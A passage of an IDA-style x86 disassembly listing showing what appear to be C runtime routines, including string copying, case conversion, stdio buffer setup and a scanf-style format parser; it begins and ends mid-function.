		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC6E0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC914, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC914, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC7E1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C504, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB27C, ecx
		mov	eax, offset dword_43C610


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C778
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB278, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C614[edx*8]
		mov	dword_4DB278, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB278, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB278, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA08
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA28
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB460
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB304[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB304h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C504, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C2F8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C504, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C508, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C508
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C504, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C504, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8A8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C780
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C778


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
